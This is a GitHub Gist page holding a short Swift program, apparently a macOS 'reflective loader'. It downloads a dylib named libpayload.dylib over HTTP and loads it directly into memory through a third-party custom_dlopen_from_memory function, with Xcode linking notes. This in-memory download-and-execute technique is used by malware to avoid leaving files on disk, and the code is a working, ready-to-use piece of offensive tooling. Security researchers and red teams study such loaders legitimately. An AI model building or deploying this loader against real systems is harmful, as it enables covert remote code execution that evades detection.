Skip to content

Instantly share code, notes, and snippets.

@0xBruno
Created January 8, 2025 15:51
Show Gist options
  • Select an option

  • Save 0xBruno/0e14ad6bf95437dc9ba9673269ebf2bf to your computer and use it in GitHub Desktop.

Select an option

Save 0xBruno/0e14ad6bf95437dc9ba9673269ebf2bf to your computer and use it in GitHub Desktop.
Swift Reflective Loader
// Required files:
// - custom_dlfcn.h https://github.com/pwardle/ReflectiveLoader/blob/main/PoC/PoC/custom_dlfcn.h
// - libloader.a https://github.com/pwardle/ReflectiveLoader/tree/main/Distribute
// Required Xcode settings:
// - Build Settings > Linking - General > Other Linker Flags -> "-lc++"
// - Build Phases > Link Binary With Libraries -> "libloader.a"
import Foundation
@_silgen_name("custom_dlopen_from_memory")
func custom_dlopen_from_memory(_ mh: UnsafeRawPointer?, _ len: Int) -> UnsafeMutableRawPointer?
let url = URL(string: "http://localhost/libpayload.dylib")!
if let data = try? Data(contentsOf: url), data.count > 0 {
data.withUnsafeBytes { rawBufferPointer in
guard let ptr = rawBufferPointer.baseAddress else {
print("Failed to get buffer address")
return
}
custom_dlopen_from_memory(ptr, data.count)
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment